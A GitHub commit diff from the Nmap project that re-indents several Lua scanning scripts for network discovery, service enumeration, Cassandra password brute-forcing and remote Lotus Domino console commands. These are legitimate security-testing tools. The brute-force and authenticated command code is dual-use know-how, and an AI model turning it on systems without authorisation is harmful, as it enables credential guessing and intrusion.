1
0
mirror of https://github.com/nmap/nmap.git synced 2025-12-06 04:31:29 +00:00

Re-indent some scripts. Whitespace-only commit

https://secwiki.org/w/Nmap/Code_Standards
This commit is contained in:
dmiller
2014-01-31 17:36:09 +00:00
parent bcf991c128
commit 298be5bfaa
50 changed files with 3296 additions and 3296 deletions

View File

@@ -42,50 +42,50 @@ portrule = shortport.portnumber(8332)
-- JSON-RPC helpers
local function request(method, params, id)
json.make_array(params)
local req = {method = method, params = params, id = id}
local serial = json.generate(req)
return serial
json.make_array(params)
local req = {method = method, params = params, id = id}
local serial = json.generate(req)
return serial
end
local function response(serial)
local _, response = json.parse(serial)
local result = response["result"]
return result
local _, response = json.parse(serial)
local result = response["result"]
return result
end
local ServiceProxy = {}
function ServiceProxy:new(host, port, path, options)
local o = {}
setmetatable(o, self)
self.host = host
self.port = port
self.path = path
self.options = options
self.__index = function(_, method)
return function(...)
return self:call(method, table.pack(...))
end
end
return o
local o = {}
setmetatable(o, self)
self.host = host
self.port = port
self.path = path
self.options = options
self.__index = function(_, method)
return function(...)
return self:call(method, table.pack(...))
end
end
return o
end
function ServiceProxy:remote(req)
local httpdata = http.post(self.host, self.port, self.path, self.options, nil, req)
if httpdata.status == 200 then
return httpdata.body
end
local httpdata = http.post(self.host, self.port, self.path, self.options, nil, req)
if httpdata.status == 200 then
return httpdata.body
end
end
function ServiceProxy:call(method, args)
local FIRST = 1
local req = request(method, args, FIRST)
local ret = self:remote(req)
if not ret then
return
end
local result = response(ret)
return result
local FIRST = 1
local req = request(method, args, FIRST)
local ret = self:remote(req)
if not ret then
return
end
local result = response(ret)
return result
end
-- Convert an integer into a broken-down version number.
@@ -98,52 +98,52 @@ end
-- 31900 -> 0.3.19
-- Version 0.3.13 release announcement: https://bitcointalk.org/?topic=1327.0
local function decode_bitcoin_version(n)
if n < 31300 then
local minor, micro = n / 100, n % 100
return string.format("0.%d.%d", minor, micro)
else
local minor, micro = n / 10000, (n / 100) % 100
return string.format("0.%d.%d", minor, micro)
end
if n < 31300 then
local minor, micro = n / 100, n % 100
return string.format("0.%d.%d", minor, micro)
else
local minor, micro = n / 10000, (n / 100) % 100
return string.format("0.%d.%d", minor, micro)
end
end
local function formatpairs(info)
local result = {}
for k, v in pairs(info) do
if v ~= "" then
local line = k .. ": " .. tostring(v)
table.insert(result, line)
end
end
return result
local result = {}
for k, v in pairs(info) do
if v ~= "" then
local line = k .. ": " .. tostring(v)
table.insert(result, line)
end
end
return result
end
local function getinfo(host, port, user, pass)
local auth = {username = user, password = pass}
local bitcoind = ServiceProxy:new(host, port, "/", {auth = auth})
return bitcoind.getinfo()
local auth = {username = user, password = pass}
local bitcoind = ServiceProxy:new(host, port, "/", {auth = auth})
return bitcoind.getinfo()
end
action = function(host, port)
local response = {}
local c = creds.Credentials:new(creds.ALL_DATA, host, port)
local states = creds.State.VALID + creds.State.PARAM
for cred in c:getCredentials(states) do
local info = getinfo(host, port, cred.user, cred.pass)
if info then
local result = formatpairs(info)
result["name"] = "USER: " .. cred.user
table.insert(response, result)
local response = {}
local c = creds.Credentials:new(creds.ALL_DATA, host, port)
local states = creds.State.VALID + creds.State.PARAM
for cred in c:getCredentials(states) do
local info = getinfo(host, port, cred.user, cred.pass)
if info then
local result = formatpairs(info)
result["name"] = "USER: " .. cred.user
table.insert(response, result)
port.version.name = "http"
port.version.product = "Bitcoin JSON-RPC"
if info.version then
port.version.version = decode_bitcoin_version(info.version)
end
nmap.set_port_version(host, port)
end
end
port.version.name = "http"
port.version.product = "Bitcoin JSON-RPC"
if info.version then
port.version.version = decode_bitcoin_version(info.version)
end
nmap.set_port_version(host, port)
end
end
return stdnse.format_output(true, response)
return stdnse.format_output(true, response)
end

View File

@@ -48,88 +48,88 @@ categories = {"discovery","safe"}
prerule = function()
if not stdnse.get_script_args(SCRIPT_NAME..".torrent") and
not stdnse.get_script_args(SCRIPT_NAME..".magnet") then
stdnse.print_debug(3,
"Skipping '%s' %s, No magnet link or torrent file arguments.",
SCRIPT_NAME, SCRIPT_TYPE)
return false
end
return true
if not stdnse.get_script_args(SCRIPT_NAME..".torrent") and
not stdnse.get_script_args(SCRIPT_NAME..".magnet") then
stdnse.print_debug(3,
"Skipping '%s' %s, No magnet link or torrent file arguments.",
SCRIPT_NAME, SCRIPT_TYPE)
return false
end
return true
end
action = function()
local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..".timeout"))
local filename = stdnse.get_script_args(SCRIPT_NAME..".torrent")
local magnet = stdnse.get_script_args(SCRIPT_NAME..".magnet")
local include_nodes = stdnse.get_script_args(SCRIPT_NAME..".include-nodes")
local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..".timeout"))
local filename = stdnse.get_script_args(SCRIPT_NAME..".torrent")
local magnet = stdnse.get_script_args(SCRIPT_NAME..".magnet")
local include_nodes = stdnse.get_script_args(SCRIPT_NAME..".include-nodes")
local t = bittorrent.Torrent:new()
if filename then
t:load_from_file(filename)
elseif magnet then
t:load_from_magnet(magnet)
end
t:trackers_peers()
t:dht_peers(timeout)
local t = bittorrent.Torrent:new()
if filename then
t:load_from_file(filename)
elseif magnet then
t:load_from_magnet(magnet)
end
t:trackers_peers()
t:dht_peers(timeout)
local output = {}
local peers = {}
peers.name = "Peers:"
local nodes = {}
nodes.name = "Nodes:"
local output = {}
local peers = {}
peers.name = "Peers:"
local nodes = {}
nodes.name = "Nodes:"
-- add peers
if target.ALLOW_NEW_TARGETS then
for peer_ip in pairs(t.peers) do
target.add(peer_ip)
table.insert(peers, peer_ip)
end
if #peers>0 then
table.insert(peers, "Total of "..#peers.." peers discovered")
end
else
for peer_ip in pairs(t.peers) do
table.insert(peers, peer_ip)
end
if #peers>0 then
table.insert(peers, "Total of "..#peers.." peers discovered")
end
end
-- add peers
if target.ALLOW_NEW_TARGETS then
for peer_ip in pairs(t.peers) do
target.add(peer_ip)
table.insert(peers, peer_ip)
end
if #peers>0 then
table.insert(peers, "Total of "..#peers.." peers discovered")
end
else
for peer_ip in pairs(t.peers) do
table.insert(peers, peer_ip)
end
if #peers>0 then
table.insert(peers, "Total of "..#peers.." peers discovered")
end
end
-- add nodes
if target.ALLOW_NEW_TARGETS and include_nodes then
for node_ip in pairs(t.nodes) do
target.add(node_ip)
table.insert(nodes, node_ip)
end
if #nodes >0 then
table.insert(nodes, "Total of "..#nodes.." nodes discovered")
end
elseif include_nodes then
for node_ip in pairs(t.nodes) do
table.insert(nodes, node_ip)
end
if #nodes >0 then
table.insert(nodes, "Total of "..#nodes.." nodes discovered")
end
end
-- add nodes
if target.ALLOW_NEW_TARGETS and include_nodes then
for node_ip in pairs(t.nodes) do
target.add(node_ip)
table.insert(nodes, node_ip)
end
if #nodes >0 then
table.insert(nodes, "Total of "..#nodes.." nodes discovered")
end
elseif include_nodes then
for node_ip in pairs(t.nodes) do
table.insert(nodes, node_ip)
end
if #nodes >0 then
table.insert(nodes, "Total of "..#nodes.." nodes discovered")
end
end
local print_out = false
local print_out = false
if #peers > 0 then
table.insert(output, peers)
print_out = true
end
if #peers > 0 then
table.insert(output, peers)
print_out = true
end
if include_nodes and #nodes > 0 then
table.insert(output, nodes)
print_out = true
end
if include_nodes and #nodes > 0 then
table.insert(output, nodes)
print_out = true
end
if print_out and not target.ALLOW_NEW_TARGETS then
table.insert(output,"Use the newtargets script-arg to add the results as targets")
end
if print_out and not target.ALLOW_NEW_TARGETS then
table.insert(output,"Use the newtargets script-arg to add the results as targets")
end
return stdnse.format_output( print_out , output)
return stdnse.format_output( print_out , output)
end

View File

@@ -41,95 +41,95 @@ local DROPBOX_BROADCAST_PERIOD = 20
local DROPBOX_PORT = 17500
prerule = function()
return true
return true
end
action = function()
-- Start listening for broadcasts.
local sock = nmap.new_socket("udp")
sock:set_timeout(2 * DROPBOX_BROADCAST_PERIOD * 1000)
local status, result = sock:bind(nil, DROPBOX_PORT)
if not status then
stdnse.print_debug(1, "Could not bind on port %d: %s", DROPBOX_PORT, result)
sock:close()
return
end
-- Start listening for broadcasts.
local sock = nmap.new_socket("udp")
sock:set_timeout(2 * DROPBOX_BROADCAST_PERIOD * 1000)
local status, result = sock:bind(nil, DROPBOX_PORT)
if not status then
stdnse.print_debug(1, "Could not bind on port %d: %s", DROPBOX_PORT, result)
sock:close()
return
end
-- Keep track of the IDs we've already seen.
local ids = {}
-- Keep track of the IDs we've already seen.
local ids = {}
-- Initialize the output table.
local results = tab.new(6)
tab.addrow(
results,
'displayname',
'ip',
'port',
'version',
'host_int',
'namespaces'
)
-- Initialize the output table.
local results = tab.new(6)
tab.addrow(
results,
'displayname',
'ip',
'port',
'version',
'host_int',
'namespaces'
)
local status, result = sock:receive()
while status do
-- Parse JSON.
local status, info = json.parse(result)
if status then
-- Get IP address of broadcasting host.
local status, _, _, ip, _ = sock:get_info()
if not status then
stdnse.print_debug(1, "Failed to get socket info.")
break
end
stdnse.print_debug(1, "Received broadcast from host %s (%s).", info.displayname, ip)
local status, result = sock:receive()
while status do
-- Parse JSON.
local status, info = json.parse(result)
if status then
-- Get IP address of broadcasting host.
local status, _, _, ip, _ = sock:get_info()
if not status then
stdnse.print_debug(1, "Failed to get socket info.")
break
end
stdnse.print_debug(1, "Received broadcast from host %s (%s).", info.displayname, ip)
-- Check if we've already seen this ID.
if ids[info.host_int] then
-- We can stop now, since we've seen the same ID twice
-- If ever a host sends a broadcast twice in a row, this will
-- artificially stop the listener. I can't think of a workaround
-- for now, so this will have to do.
break
end
ids[info.host_int] = true
-- Check if we've already seen this ID.
if ids[info.host_int] then
-- We can stop now, since we've seen the same ID twice
-- If ever a host sends a broadcast twice in a row, this will
-- artificially stop the listener. I can't think of a workaround
-- for now, so this will have to do.
break
end
ids[info.host_int] = true
-- Add host scan list.
if target.ALLOW_NEW_TARGETS then
target.add(ip)
end
-- Add host scan list.
if target.ALLOW_NEW_TARGETS then
target.add(ip)
end
-- Add host to list.
for _, key1 in pairs({"namespaces", "version"}) do
for key2, val in pairs(info[key1]) do
info[key1][key2] = tostring(info[key1][key2])
end
end
tab.addrow(
results,
info.displayname,
ip,
info.port,
stdnse.strjoin(".", info.version),
info.host_int,
stdnse.strjoin(", ", info.namespaces)
)
-- Add host to list.
for _, key1 in pairs({"namespaces", "version"}) do
for key2, val in pairs(info[key1]) do
info[key1][key2] = tostring(info[key1][key2])
end
end
tab.addrow(
results,
info.displayname,
ip,
info.port,
stdnse.strjoin(".", info.version),
info.host_int,
stdnse.strjoin(", ", info.namespaces)
)
stdnse.print_debug(1, "Added host %s.", info.displayname)
end
stdnse.print_debug(1, "Added host %s.", info.displayname)
end
status, result = sock:receive()
end
status, result = sock:receive()
end
sock:close()
sock:close()
-- If no broadcasts received, don't output anything.
if not next(ids) then
return
end
-- If no broadcasts received, don't output anything.
if not next(ids) then
return
end
-- Format table, without trailing newline.
results = tab.dump(results)
results = results:sub(1, #results - 1)
-- Format table, without trailing newline.
results = tab.dump(results)
results = results:sub(1, #results - 1)
return "\n" .. results
return "\n" .. results
end

View File

@@ -37,97 +37,97 @@ prerule = function() return ( nmap.address_family() == "inet") end
-- @param responses table containing the responses
local function udpProbe(probe, responses)
local condvar = nmap.condvar(responses)
local socket = nmap.new_socket("udp")
socket:set_timeout(500)
local condvar = nmap.condvar(responses)
local socket = nmap.new_socket("udp")
socket:set_timeout(500)
for i=1,2 do
local status = socket:sendto(probe.host, probe.port, probe.data)
if ( not(status) ) then
return "\n ERROR: Failed to send broadcast request"
end
end
for i=1,2 do
local status = socket:sendto(probe.host, probe.port, probe.data)
if ( not(status) ) then
return "\n ERROR: Failed to send broadcast request"
end
end
local timeout = TIMEOUT or ( 20 / ( nmap.timing_level() + 1 ) )
local stime = os.time()
local hosts = {}
local timeout = TIMEOUT or ( 20 / ( nmap.timing_level() + 1 ) )
local stime = os.time()
local hosts = {}
repeat
local status, data = socket:receive()
if ( status ) then
local srvname = data:match(probe.match)
if ( srvname ) then
local status, _, _, rhost, _ = socket:get_info()
if ( not(status) ) then
socket:close()
return false, "Failed to get socket information"
end
-- avoid duplicates
hosts[rhost] = srvname
end
end
until( os.time() - stime > timeout )
socket:close()
repeat
local status, data = socket:receive()
if ( status ) then
local srvname = data:match(probe.match)
if ( srvname ) then
local status, _, _, rhost, _ = socket:get_info()
if ( not(status) ) then
socket:close()
return false, "Failed to get socket information"
end
-- avoid duplicates
hosts[rhost] = srvname
end
end
until( os.time() - stime > timeout )
socket:close()
local result = {}
for ip, name in pairs(hosts) do
table.insert(result, ("%s - %s"):format(ip,name))
end
local result = {}
for ip, name in pairs(hosts) do
table.insert(result, ("%s - %s"):format(ip,name))
end
if ( #result > 0 ) then
result.name = probe.topic
table.insert(responses, result)
end
if ( #result > 0 ) then
result.name = probe.topic
table.insert(responses, result)
end
condvar "signal"
condvar "signal"
end
action = function()
-- PC-Duo UDP probes
local probes = {
-- PC-Duo Host probe
{
host = { ip = "255.255.255.255" },
port = { number = 1505, protocol = "udp" },
data = bin.pack("H", "00808008ff00"),
match= "^.........(%w*)\0",
topic= "PC-Duo Hosts"
},
-- PC-Duo Gateway Server probe
{
host = { ip = "255.255.255.255" },
port = { number = 2303, protocol = "udp" },
data = bin.pack("H", "20908008ff00"),
match= "^.........(%w*)\0",
topic= "PC-Duo Gateway Server"
},
}
-- PC-Duo UDP probes
local probes = {
-- PC-Duo Host probe
{
host = { ip = "255.255.255.255" },
port = { number = 1505, protocol = "udp" },
data = bin.pack("H", "00808008ff00"),
match= "^.........(%w*)\0",
topic= "PC-Duo Hosts"
},
-- PC-Duo Gateway Server probe
{
host = { ip = "255.255.255.255" },
port = { number = 2303, protocol = "udp" },
data = bin.pack("H", "20908008ff00"),
match= "^.........(%w*)\0",
topic= "PC-Duo Gateway Server"
},
}
local threads, responses = {}, {}
local condvar = nmap.condvar(responses)
local threads, responses = {}, {}
local condvar = nmap.condvar(responses)
-- start a thread for each probe
for _, p in ipairs(probes) do
local th = stdnse.new_thread( udpProbe, p, responses )
threads[th] = true
end
-- start a thread for each probe
for _, p in ipairs(probes) do
local th = stdnse.new_thread( udpProbe, p, responses )
threads[th] = true
end
-- wait until the probes are all done
repeat
for thread in pairs(threads) do
if coroutine.status(thread) == "dead" then
threads[thread] = nil
end
end
if ( next(threads) ) then
condvar "wait"
end
until next(threads) == nil
-- wait until the probes are all done
repeat
for thread in pairs(threads) do
if coroutine.status(thread) == "dead" then
threads[thread] = nil
end
end
if ( next(threads) ) then
condvar "wait"
end
until next(threads) == nil
table.sort(responses, function(a,b) return a.name < b.name end)
-- did we get any responses
if ( #responses > 0 ) then
return stdnse.format_output(true, responses)
end
table.sort(responses, function(a,b) return a.name < b.name end)
-- did we get any responses
if ( #responses > 0 ) then
return stdnse.format_output(true, responses)
end
end

View File

@@ -36,98 +36,98 @@ portrule = shortport.port_or_service({9160}, {"cassandra"})
Driver = {
new = function(self, host, port, options)
local o = { host = host, port = port, socket = nmap.new_socket() }
setmetatable(o, self)
self.__index = self
return o
end,
new = function(self, host, port, options)
local o = { host = host, port = port, socket = nmap.new_socket() }
setmetatable(o, self)
self.__index = self
return o
end,
connect = function(self)
return self.socket:connect(self.host, self.port)
end,
connect = function(self)
return self.socket:connect(self.host, self.port)
end,
-- bit faster login function than in cassandra library (no protocol error checks)
login = function(self, username, password)
local response, magic, size, _
local loginstr = cassandra.loginstr (username, password)
-- bit faster login function than in cassandra library (no protocol error checks)
login = function(self, username, password)
local response, magic, size, _
local loginstr = cassandra.loginstr (username, password)
local status, err = self.socket:send(bin.pack(">I",string.len(loginstr)))
local combo = username..":"..password
if ( not(status) ) then
local err = brute.Error:new( "couldn't send length:"..combo )
err:setAbort( true )
return false, err
end
local status, err = self.socket:send(bin.pack(">I",string.len(loginstr)))
local combo = username..":"..password
if ( not(status) ) then
local err = brute.Error:new( "couldn't send length:"..combo )
err:setAbort( true )
return false, err
end
status, err = self.socket:send(loginstr)
if ( not(status) ) then
local err = brute.Error:new( "couldn't send login packet: "..combo )
err:setAbort( true )
return false, err
end
status, err = self.socket:send(loginstr)
if ( not(status) ) then
local err = brute.Error:new( "couldn't send login packet: "..combo )
err:setAbort( true )
return false, err
end
status, response = self.socket:receive_bytes(22)
if ( not(status) ) then
local err = brute.Error:new( "couldn't receive login reply size: "..combo )
err:setAbort( true )
return false, err
end
status, response = self.socket:receive_bytes(22)
if ( not(status) ) then
local err = brute.Error:new( "couldn't receive login reply size: "..combo )
err:setAbort( true )
return false, err
end
_, size = bin.unpack(">I", response, 1)
_, size = bin.unpack(">I", response, 1)
magic = string.sub(response,18,22)
magic = string.sub(response,18,22)
if (magic == cassandra.LOGINSUCC) then
stdnse.print_debug(3, "Account SUCCESS: "..combo)
return true, brute.Account:new(username, password, creds.State.VALID)
elseif (magic == cassandra.LOGINFAIL) then
stdnse.print_debug(3,"Account FAIL: "..combo)
return false, brute.Error:new( "Incorrect password" )
elseif (magic == cassandra.LOGINACC) then
stdnse.print_debug(3, "Account VALID, but wrong password: "..combo)
return false, brute.Error:new( "Good user, bad password" )
else
stdnse.print_debug(3, "Unrecognized packet for "..combo)
stdnse.print_debug(3, "packet hex: %s", stdnse.tohex(response) )
stdnse.print_debug(3, "size packet hex: %s", stdnse.tohex(size) )
stdnse.print_debug(3, "magic packet hex: %s", stdnse.tohex(magic) )
local err = brute.Error:new( response )
err:setRetry( true )
return false, err
end
end,
if (magic == cassandra.LOGINSUCC) then
stdnse.print_debug(3, "Account SUCCESS: "..combo)
return true, brute.Account:new(username, password, creds.State.VALID)
elseif (magic == cassandra.LOGINFAIL) then
stdnse.print_debug(3,"Account FAIL: "..combo)
return false, brute.Error:new( "Incorrect password" )
elseif (magic == cassandra.LOGINACC) then
stdnse.print_debug(3, "Account VALID, but wrong password: "..combo)
return false, brute.Error:new( "Good user, bad password" )
else
stdnse.print_debug(3, "Unrecognized packet for "..combo)
stdnse.print_debug(3, "packet hex: %s", stdnse.tohex(response) )
stdnse.print_debug(3, "size packet hex: %s", stdnse.tohex(size) )
stdnse.print_debug(3, "magic packet hex: %s", stdnse.tohex(magic) )
local err = brute.Error:new( response )
err:setRetry( true )
return false, err
end
end,
disconnect = function(self)
return self.socket:close()
end,
disconnect = function(self)
return self.socket:close()
end,
}
local function noAuth(host, port)
local socket = nmap.new_socket()
local status, result = socket:connect(host, port)
local socket = nmap.new_socket()
local status, result = socket:connect(host, port)
local stat,err = cassandra.login (socket,"default","")
socket:close()
if (stat) then
return true
else
return false
end
local stat,err = cassandra.login (socket,"default","")
socket:close()
if (stat) then
return true
else
return false
end
end
action = function(host, port)
if ( noAuth(host, port) ) then
return "Any username and password would do, 'default' was used to test."
end
if ( noAuth(host, port) ) then
return "Any username and password would do, 'default' was used to test."
end
local engine = brute.Engine:new(Driver, host, port )
local engine = brute.Engine:new(Driver, host, port )
engine.options.script_name = SCRIPT_NAME
engine.options.firstonly = true
local status, result = engine:start()
engine.options.script_name = SCRIPT_NAME
engine.options.firstonly = true
local status, result = engine:start()
return result
return result
end

View File

@@ -76,75 +76,75 @@ portrule = shortport.portnumber({8080,80,443}, "tcp")
-- @return table suitable for stdnse.format_output
function format_output(appdata, mode)
local result = {}
local setting_titles = { {appisdisabled="Disabled"}, {appisdesktop="Desktop"}, {AppOnDesktop="On Desktop"},
{Encryption="Encryption"}, {AppInStartmenu="In start menu"},
{PublisherName="Publisher"}, {SSLEnabled="SSL"}, {RemoteAccessEnabled="Remote Access"} }
local result = {}
local setting_titles = { {appisdisabled="Disabled"}, {appisdesktop="Desktop"}, {AppOnDesktop="On Desktop"},
{Encryption="Encryption"}, {AppInStartmenu="In start menu"},
{PublisherName="Publisher"}, {SSLEnabled="SSL"}, {RemoteAccessEnabled="Remote Access"} }
if mode == "short" then
for app_name, AppData in ipairs(appdata) do
local line = "Application: " .. AppData.FName
if mode == "short" then
for app_name, AppData in ipairs(appdata) do
local line = "Application: " .. AppData.FName
if AppData.AccessList then
if AppData.AccessList then
if AppData.AccessList.User then
line = line .. "; Users: " .. stdnse.strjoin(", ", AppData.AccessList.User)
end
if AppData.AccessList.User then
line = line .. "; Users: " .. stdnse.strjoin(", ", AppData.AccessList.User)
end
if AppData.AccessList.Group then
line = line .. "; Groups: " .. stdnse.strjoin(", ", AppData.AccessList.Group)
end
if AppData.AccessList.Group then
line = line .. "; Groups: " .. stdnse.strjoin(", ", AppData.AccessList.Group)
end
table.insert(result, line)
end
end
table.insert(result, line)
end
end
else
else
for app_name, AppData in ipairs(appdata) do
local result_part = {}
for app_name, AppData in ipairs(appdata) do
local result_part = {}
result_part.name = "Application: " .. AppData.FName
result_part.name = "Application: " .. AppData.FName
local settings = AppData.Settings
local settings = AppData.Settings
for _, setting_pairs in ipairs(setting_titles) do
for setting_key, setting_title in pairs(setting_pairs) do
local setting_value = settings[setting_key] and settings[setting_key] or ""
table.insert(result_part, setting_title .. ": " .. setting_value )
end
end
for _, setting_pairs in ipairs(setting_titles) do
for setting_key, setting_title in pairs(setting_pairs) do
local setting_value = settings[setting_key] and settings[setting_key] or ""
table.insert(result_part, setting_title .. ": " .. setting_value )
end
end
if AppData.AccessList then
if AppData.AccessList.User then
table.insert(result_part, "Users: " .. stdnse.strjoin(", ", AppData.AccessList.User) )
end
if AppData.AccessList then
if AppData.AccessList.User then
table.insert(result_part, "Users: " .. stdnse.strjoin(", ", AppData.AccessList.User) )
end
if AppData.AccessList.Group then
table.insert(result_part, "Groups: " .. stdnse.strjoin(", ", AppData.AccessList.Group) )
end
if AppData.AccessList.Group then
table.insert(result_part, "Groups: " .. stdnse.strjoin(", ", AppData.AccessList.Group) )
end
table.insert(result, result_part)
end
table.insert(result, result_part)
end
end
end
end
end
return result
return result
end
end
action = function(host,port)
local response = citrixxml.request_appdata(host.ip, port.number, {ServerAddress="",attr={addresstype="dot"},DesiredDetails={"all","access-list"} })
local appdata = citrixxml.parse_appdata_response(response)
local response = citrixxml.request_appdata(host.ip, port.number, {ServerAddress="",attr={addresstype="dot"},DesiredDetails={"all","access-list"} })
local appdata = citrixxml.parse_appdata_response(response)
local response = format_output(appdata, (nmap.verbosity() > 1 and "long" or "short"))
local response = format_output(appdata, (nmap.verbosity() > 1 and "long" or "short"))
return stdnse.format_output(true, response)
return stdnse.format_output(true, response)
end

View File

@@ -40,107 +40,107 @@ portrule = shortport.portnumber(1604, "udp")
--
function process_server_response(response)
local pos, packet_len = bin.unpack("SS", response)
local server_name
local server_list = {}
local pos, packet_len = bin.unpack("SS", response)
local server_name
local server_list = {}
if packet_len < 40 then
return
end
if packet_len < 40 then
return
end
-- the list of published applications starts at offset 40
local offset = 41
-- the list of published applications starts at offset 40
local offset = 41
while offset < packet_len do
pos, server_name = bin.unpack("z", response:sub(offset))
offset = offset + pos - 1
table.insert(server_list, server_name)
end
while offset < packet_len do
pos, server_name = bin.unpack("z", response:sub(offset))
offset = offset + pos - 1
table.insert(server_list, server_name)
end
return server_list
return server_list
end
action = function(host, port)
local packet, counter, socket
local query = {}
local server_list = {}
local packet, counter, socket
local query = {}
local server_list = {}
--
-- Packets were intercepted from the Citrix Program Neighborhood client
-- They are used to query a server for it's list of published applications
--
-- We're really not interested in the responses to the first two packets
-- The third response contains the list of published applications
-- I couldn't find any documentation on this protocol so I'm providing
-- some brief information for the bits and bytes this script uses.
--
-- Spec. of response to query[2] that contains a list of published apps
--
-- offset size content
-- -------------------------
-- 0 16-bit Length
-- 12 32-bit Server IP (not used here)
-- 30 8-bit Last packet (1), More packets(0)
-- 40 - null-separated list of applications
--
query[0] = string.char(
0x1e, 0x00, -- Length: 30
0x01, 0x30, 0x02, 0xfd, 0xa8, 0xe3, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00
)
--
-- Packets were intercepted from the Citrix Program Neighborhood client
-- They are used to query a server for it's list of published applications
--
-- We're really not interested in the responses to the first two packets
-- The third response contains the list of published applications
-- I couldn't find any documentation on this protocol so I'm providing
-- some brief information for the bits and bytes this script uses.
--
-- Spec. of response to query[2] that contains a list of published apps
--
-- offset size content
-- -------------------------
-- 0 16-bit Length
-- 12 32-bit Server IP (not used here)
-- 30 8-bit Last packet (1), More packets(0)
-- 40 - null-separated list of applications
--
query[0] = string.char(
0x1e, 0x00, -- Length: 30
0x01, 0x30, 0x02, 0xfd, 0xa8, 0xe3, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00
)
query[1] = string.char(
0x2a, 0x00, -- Length: 42
0x01, 0x32, 0x02, 0xfd, 0xa8, 0xe3, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x01, 0x00, 0x02, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
)
query[1] = string.char(
0x2a, 0x00, -- Length: 42
0x01, 0x32, 0x02, 0xfd, 0xa8, 0xe3, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x01, 0x00, 0x02, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
)
counter = 0
counter = 0
socket = nmap.new_socket()
socket:set_timeout(5000)
socket = nmap.new_socket()
socket:set_timeout(5000)
local try = nmap.new_try(function() socket:close() end)
try(socket:connect(host, port))
local try = nmap.new_try(function() socket:close() end)
try(socket:connect(host, port))
-- send the two first packets and never look back
repeat
try(socket:send(query[counter]))
packet = try(socket:receive())
counter = counter + 1
until (counter>#query)
-- send the two first packets and never look back
repeat
try(socket:send(query[counter]))
packet = try(socket:receive())
counter = counter + 1
until (counter>#query)
-- process the first response
server_list = process_server_response( packet )
-- process the first response
server_list = process_server_response( packet )
--
-- the byte at offset 31 in the response has a really magic function
-- if it is set to zero (0) we have more response packets to process
-- if it is set to one (1) we have arrived at the last packet of our journey
--
while packet:sub(31,31) ~= string.char(0x01) do
packet = try( socket:receive() )
local tmp_table = process_server_response( packet )
--
-- the byte at offset 31 in the response has a really magic function
-- if it is set to zero (0) we have more response packets to process
-- if it is set to one (1) we have arrived at the last packet of our journey
--
while packet:sub(31,31) ~= string.char(0x01) do
packet = try( socket:receive() )
local tmp_table = process_server_response( packet )
for _, v in ipairs(tmp_table) do
table.insert(server_list, v)
end
end
for _, v in ipairs(tmp_table) do
table.insert(server_list, v)
end
end
if #server_list>0 then
nmap.set_port_state(host, port, "open")
end
if #server_list>0 then
nmap.set_port_state(host, port, "open")
end
socket:close()
socket:close()
return stdnse.format_output(true, server_list)
return stdnse.format_output(true, server_list)
end

View File

@@ -10,7 +10,7 @@ Runs a console command on the Lotus Domino Console using the given authenticatio
---
-- @usage
-- nmap -p 2050 <host> --script domcon-cmd --script-args domcon-cmd.cmd="show server", \
-- domcon-cmd.user="Patrik Karlsson",domcon-cmd.pass="secret"
-- domcon-cmd.user="Patrik Karlsson",domcon-cmd.pass="secret"
--
-- @output
-- PORT STATE SERVICE REASON
@@ -70,69 +70,69 @@ portrule = shortport.port_or_service(2050, "dominoconsole", "tcp", "open")
-- or error message if status is false
local function readAPIBlock( socket )
local lines
local result = {}
local status, line = socket:receive_lines(1)
local lines
local result = {}
local status, line = socket:receive_lines(1)
if ( not(status) ) then return false, "Failed to read line" end
lines = stdnse.strsplit( "\n", line )
if ( not(status) ) then return false, "Failed to read line" end
lines = stdnse.strsplit( "\n", line )
for _, line in ipairs( lines ) do
if ( not(line:match("BeginData")) and not(line:match("EndData")) ) then
table.insert(result, line)
end
end
for _, line in ipairs( lines ) do
if ( not(line:match("BeginData")) and not(line:match("EndData")) ) then
table.insert(result, line)
end
end
-- Clear trailing empty lines
while( true ) do
if ( result[#result] == "" ) then
table.remove(result, #result)
else
break
end
end
-- Clear trailing empty lines
while( true ) do
if ( result[#result] == "" ) then
table.remove(result, #result)
else
break
end
end
return true, result
return true, result
end
action = function(host, port)
local socket = nmap.new_socket()
local result_part, result, cmds = {}, {}, {}
local user = stdnse.get_script_args('domcon-cmd.user')
local pass = stdnse.get_script_args('domcon-cmd.pass')
local cmd = stdnse.get_script_args('domcon-cmd.cmd')
local socket = nmap.new_socket()
local result_part, result, cmds = {}, {}, {}
local user = stdnse.get_script_args('domcon-cmd.user')
local pass = stdnse.get_script_args('domcon-cmd.pass')
local cmd = stdnse.get_script_args('domcon-cmd.cmd')
if( not(cmd) ) then return " \n ERROR: No command supplied (see domcon-cmd.cmd)" end
if( not(user)) then return " \n ERROR: No username supplied (see domcon-cmd.user)" end
if( not(pass)) then return " \n ERROR: No password supplied (see domcon-cmd.pass)" end
if( not(cmd) ) then return " \n ERROR: No command supplied (see domcon-cmd.cmd)" end
if( not(user)) then return " \n ERROR: No username supplied (see domcon-cmd.user)" end
if( not(pass)) then return " \n ERROR: No password supplied (see domcon-cmd.pass)" end
cmds = stdnse.strsplit(";%s*", cmd)
cmds = stdnse.strsplit(";%s*", cmd)
socket:set_timeout(10000)
local status = socket:connect( host.ip, port.number, "tcp")
if ( status ) then
socket:reconnect_ssl()
end
socket:set_timeout(10000)
local status = socket:connect( host.ip, port.number, "tcp")
if ( status ) then
socket:reconnect_ssl()
end
socket:send("#API\n")
socket:send( ("#UI %s,%s\n"):format(user,pass) )
socket:receive_lines(1)
socket:send("#EXIT\n")
socket:send("#API\n")
